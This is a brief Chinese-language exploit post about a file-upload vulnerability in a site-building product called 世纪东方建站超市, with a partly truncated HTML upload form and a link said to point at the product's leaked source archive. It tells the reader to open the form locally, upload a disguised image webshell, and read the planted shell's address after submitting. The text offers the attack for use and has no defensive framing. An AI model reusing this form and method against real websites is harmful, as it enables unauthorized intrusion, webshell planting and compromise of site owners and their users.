世纪东方建站超市上传漏洞源码泄漏

目标:upload/201209011333247678.jpg" />
<input type="hidden" name="attachPath" value="news/pics/" />
<input type="file" name="fileData" size="14" /></td>
<input type="submit" name="button" value="FUCK" />
</form>

本地打开 直接上传个伪图片马马

提交表单后就能看见可爱的马马地址了

http://jzcs.51web.com/wwwroot.rar 不解释